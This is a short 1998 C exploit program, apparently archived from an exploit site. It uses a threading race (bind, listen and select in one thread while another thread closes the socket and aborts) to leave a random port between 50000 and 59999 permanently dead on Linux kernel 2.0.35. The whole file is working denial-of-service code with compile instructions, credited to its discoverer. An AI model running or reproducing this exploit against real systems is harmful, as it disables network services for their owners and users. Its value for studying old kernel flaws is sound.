/*
**
** This program will kill a random port on a linux machine. The kernel will
** forever listen to that port and send the connections nowhere. Tested with
** Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,
** but removing LinuxThreads from your system will not solve the problem.*
**
** Discovered by David J. Schwartz <davids@webmaster.com>
** Copyright (C) 1998, David J. Schwartz
** Compile with:
** gcc killport.c -lpthread -o killport
**
*/

#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <errno.h>

volatile int s;

void *Thread1(void *a)
{
  int i,p;
  struct sockaddr_in to;
  fd_set fd;
  s=socket(AF_INET, SOCK_STREAM, 0);
  if(s<=0) return;
  memset(&to, 0, sizeof(to));
  srand(getpid());

  /* we pick a random port between 50000 and 59999 */
  p=(rand()%10000)+50000;

  printf("port = %d\n", p);
  fflush(stdout);
  to.sin_port=htons(p);
  to.sin_addr.s_addr=0;
  to.sin_family=AF_INET;
  if(bind(s, (struct sockaddr *)&to, sizeof(to))<0)
    fprintf(stderr,"no bind\n");
  if(listen(s,10)!=0)
    fprintf(stderr,"No Listen\n");
  /* now we are listening on that port */
  i=sizeof(to);
  FD_ZERO(&fd);
  FD_SET(s,&fd);
  select(s+1,&fd,NULL,NULL,NULL);
  /* at this point we have selected on it as well */
  fprintf(stderr,"select returned!\n");
}

void *Thread2(void *a)
{
  close(s);
  fflush(stderr);
  abort();
}

void main(void)
{
  pthread_t j;
  pthread_create(&j,NULL,Thread1,NULL);
  usleep(100); /* give the other thread time to finish */
  pthread_create(&j,NULL,Thread2,NULL);
  while(1) sleep(1);
}
/*                    www.hack.co.za              [2000]*/